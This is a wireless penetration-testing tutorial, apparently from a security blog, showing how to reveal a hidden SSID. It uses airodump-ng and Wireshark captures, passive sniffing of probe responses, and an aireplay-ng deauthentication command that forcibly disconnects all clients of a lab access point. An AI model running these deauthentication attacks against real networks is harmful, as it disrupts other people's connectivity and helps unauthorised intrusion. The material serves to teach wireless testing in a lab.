

Uncovering Hidden SSIDs

```
root@kali:~# airmon-ng start wlan0
Process with PID 3215 (dumcap) is running on interface wlan0

Interface      Chipset      Driver
wlan0          Ralink RT2870/3070  rt2800usb - [phy0]
                (monitor mode enabled on mon0)
```

By default every access point is broadcasting the SSID in the beacon frames. Sometimes network administrators might choose to configure the AP not to broadcast the SSID because they are thinking that they will avoid attacks just because if a malicious user doesn't know that a network exist how he is going to attack it? Even though that hiding the wireless network name is a good choice however this doesn't offer any security as it is relative easy for a determined attacker to discover it.

The first step is to create a monitor mode interface in order to be able to sniff wireless packets.

```
root@kali:~# airmon-ng start wlan0
Process with PID 3215 (dumcap) is running on interface wlan0

Interface      Chipset      Driver
wlan0          Ralink RT2870/3070  rt2800usb - [phy0]
                (monitor mode enabled on mon0)
```

Enable Monitor Mode Interface

Then we will use the **airodump-ng mon0** in order to start capturing raw 802.11 frames which they will contain all the available wireless networks of the area. As we can see from the image below there is only one network which doesn't broadcasting the SSID.

CH 12][Elapsed: 52 s][2015-01-31 09:18

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
CC:33:BB:6D:A9:34	-31	31	2 0	6	54e.	WPA2	CCMP	PSK	MI6-V
CC:33:BB:6D:A9:39	-30	29	0 0	6	54e.	WPA2	CCMP	MGT	BTWif
CC:33:BB:6D:A9:37	-30	34	0 0	6	54e.	OPN			BTWif
00:14:C1:1A:0E:3C	-35	36	0 0	1	54	OPN			<lenq
9C:80:DF:BF:35:0D	-43	25	13 0	6	54e	WPA2	CCMP	PSK	EE-Br
7C:4C:A5:B8:58:85	-47	30	0 0	11	54e	WPA2	CCMP	PSK	SKYB9
D0:84:B0:D3:61:3C	-57	34	0 0	1	54e.	WPA2	CCMP	PSK	BTHub
9C:80:DF:77:25:9D	-57	23	8 0	11	54e	WPA2	CCMP	PSK	EE-Br
D0:84:B0:D3:61:3F	-58	33	3 0	1	54e.	OPN			BTWif
D0:84:B0:D3:61:41	-57	32	0 0	1	54e.	WPA2	CCMP	MGT	BTWif
C0:3E:0F:2F:0D:41	-58	33	0 0	1	54e	WPA2	CCMP	PSK	SKYB5

Hidden Wireless Network

Alternatively we can check the beacon frames in wireshark and we will notice that the SSID is hidden.

Filter: wlan.addr == 00:14:c1:1a:0e:3c

No.	Time	Source	Destination	Protocol	Length	Info
1791	19.06244500	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2434, RN=0, Flags=....., BI=100, SSID=Broadcast
1799	19.96476200	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2435, RN=0, Flags=....., BI=100, SSID=Broadcast
1808	20.06705100	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2436, RN=0, Flags=....., BI=100, SSID=Broadcast
1817	20.16959300	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2437, RN=0, Flags=....., BI=100, SSID=Broadcast
1825	20.27195400	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2438, RN=0, Flags=....., BI=100, SSID=Broadcast
1834	20.37445200	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2439, RN=0, Flags=....., BI=100, SSID=Broadcast
1842	20.47676100	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2440, RN=0, Flags=....., BI=100, SSID=Broadcast
1850	20.57919300	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2441, RN=0, Flags=....., BI=100, SSID=Broadcast
1858	20.68156700	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2442, RN=0, Flags=....., BI=100, SSID=Broadcast
1866	20.78394800	USRoboti_la:0e:3c	Broadcast	802.11	115	Beacon frame, SN=2443, RN=0, Flags=....., BI=100, SSID=Broadcast

Fixed parameters (12 bytes)

Tagged parameters (61 bytes)

- Tag: SSID parameter set: Broadcast
- Tag: Supported Rates 1(8), 2(8), 5.5(8), 11(8), 18, 24, 36, 54, [Mbit/sec]
- Tag: DS Parameter set: Current Channel: 11
- Tag: Traffic Indication Map (TIM): DTIM 0 of 0 bitmap
- Tag: ERP Information
- Tag: ERP Information
- Tag: Extended Supported Rates 6, 9, 12, 48, [Mbit/sec]
- Tag: Vendor Specific: Broadcast

```

0040 00 00 00 00 00 00 00 00 00 00 01 08 82 84 .....
0050 8b 96 24 30 48 6c 03 01 0b 05 04 00 01 00 03 2a ..$0H...
0060 01 00 2f 01 00 32 04 0c 12 18 60 dd 06 00 10 18 ..../.2.
0070 02 01 f5

```

Beacon Frames – Hidden Wireless SSID

There are two ways to obtain the SSID for a wireless network that is not broadcasting.

1. Passive
2. Active

In the passive we will have to wait for a legitimate client to connect to the access point while we are monitoring the wireless traffic and to examine the Probe Request and Probe Response packets which will contain the SSID of the network.

No.	Time	Source	Destination	Protocol	Length	Info
35690	331.9281370X	IntelCor_14:91:a2	USRoboti_1a:0e:3c	802.11	42	Null function (No data), SN=1298, FN=0, Flags=...P...T
35693	331.9302620X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	109	Probe Response, SN=161, FN=0, Flags=....., BI=100, SSID=Wireless Pentest Lab
35694	331.9306530X	USRoboti_1a:0e:3c	USRoboti_1a:0e:3c (RA)	802.11	28	Acknowledgement, Flags=.....
35700	331.9529940X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	109	Probe Response, SN=162, FN=0, Flags=....., BI=100, SSID=Wireless Pentest Lab
35701	331.9532420X	USRoboti_1a:0e:3c	USRoboti_1a:0e:3c (RA)	802.11	28	Acknowledgement, Flags=.....
35704	331.9899860X	IntelCor_14:91:a2	USRoboti_1a:0e:3c	802.11	42	Null function (No data), SN=1305, FN=0, Flags=.....T
35716	332.1222220X	USRoboti_1a:0e:3c	Broadcast	802.11	115	Beacon frame, SN=164, FN=0, Flags=....., BI=100, SSID=Broadcast
35721	332.1873780X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	109	Probe Response, SN=165, FN=0, Flags=....., BI=100, SSID=Wireless Pentest Lab
35722	332.1876230X	USRoboti_1a:0e:3c	USRoboti_1a:0e:3c (RA)	802.11	28	Acknowledgement, Flags=.....
35730	332.2158910X	IntelCor_14:91:a2	USRoboti_1a:0e:3c	802.11	42	Null function (No data), SN=1316, FN=0, Flags=.....T

Frame 35693: 109 bytes on wire (872 bits), 109 bytes captured (872 bits) on interface 0

Radiotap Header v0, Length 18

IEEE 802.11 Probe Response, Flags:

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Tagged parameters (55 bytes)

Tag: SSID parameter set: Wireless Pentest Lab

Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 18, 24, 36, 54, [Mbit/sec]

Probe Response Packet contains the SSID

This technique is stealthier than the active and it can be used in a scenario when we are attacking a corporate wireless network especially in the morning when there will be a variety of devices that will try to connect and unveil it's presence.

The other method is to send directly deauthentication packets to all the clients on behalf of the access point which in this case is the Wireless Pentest Lab. This will force all the devices that are connected to the access point to disconnect and reconnect which again Probe response packets will be generated that will reveal the cloaked SSID.

We can send the deauthentication packets with the use of aireplay-ng as it can be seen below:

```
root@kali:~# aireplay-ng --deauth 5 -a 00:14:c1:1a:0e:3c mon0
13:16:36 Waiting for beacon frame (BSSID: 00:14:C1:1A:0E:3C) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
13:16:36 Sending DeAuth to broadcast -- BSSID: [00:14:C1:1A:0E:3C]
13:16:37 Sending DeAuth to broadcast -- BSSID: [00:14:C1:1A:0E:3C]
13:16:37 Sending DeAuth to broadcast -- BSSID: [00:14:C1:1A:0E:3C]
13:16:38 Sending DeAuth to broadcast -- BSSID: [00:14:C1:1A:0E:3C]
13:16:38 Sending DeAuth to broadcast -- BSSID: [00:14:C1:1A:0E:3C]
```

Sending deauthentication packets

The value 5 is actually the number of deauthentication packets that we want to send and the -a specifies the MAC address of the access point. As we can see in the next screenshot after the deauthentication packets the probe response packets are generated again and because of these packets are not encrypted they unveil the wireless SSID.

No.	Time	Source	Destination	Protocol	Length	Info
28626	76.45867400X	USRoboti_1a:0e:3c	Broadcast	802.11	38	Deauthentication, SN=638, FN=0, Flags=.....
28628	76.46076400X	USRoboti_1a:0e:3c	Broadcast	802.11	38	Deauthentication, SN=639, FN=0, Flags=.....
28630	76.46332100X	USRoboti_1a:0e:3c	Broadcast	802.11	39	Deauthentication, SN=638, FN=0, Flags=.....
28631	76.46332800X	USRoboti_1a:0e:3c	Broadcast	802.11	39	Deauthentication, SN=639, FN=0, Flags=.....
28635	76.47027000X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	109	Probe Response, SN=349, FN=0, Flags=....., BI=100, SSID=Wireless Pentest Lab
28638	76.47297000X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	109	Probe Response, SN=350, FN=0, Flags=....., BI=100, SSID=Wireless Pentest Lab
28642	76.49858200X	IntelCor_14:91:a2	USRoboti_1a:0e:3c	802.11	48	Authentication, SN=3846, FN=0, Flags=.....
28644	76.49913700X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	56	Authentication, SN=351, FN=0, Flags=.....
28646	76.49989000X	IntelCor_14:91:a2	USRoboti_1a:0e:3c	802.11	84	Association Request, SN=3847, FN=0, Flags=....., SSID=Wireless Pentest Lab
28648	76.50079800X	USRoboti_1a:0e:3c	IntelCor_14:91:a2	802.11	72	Association Response, SN=352, FN=0, Flags=.....

Generation of Probe Response Packets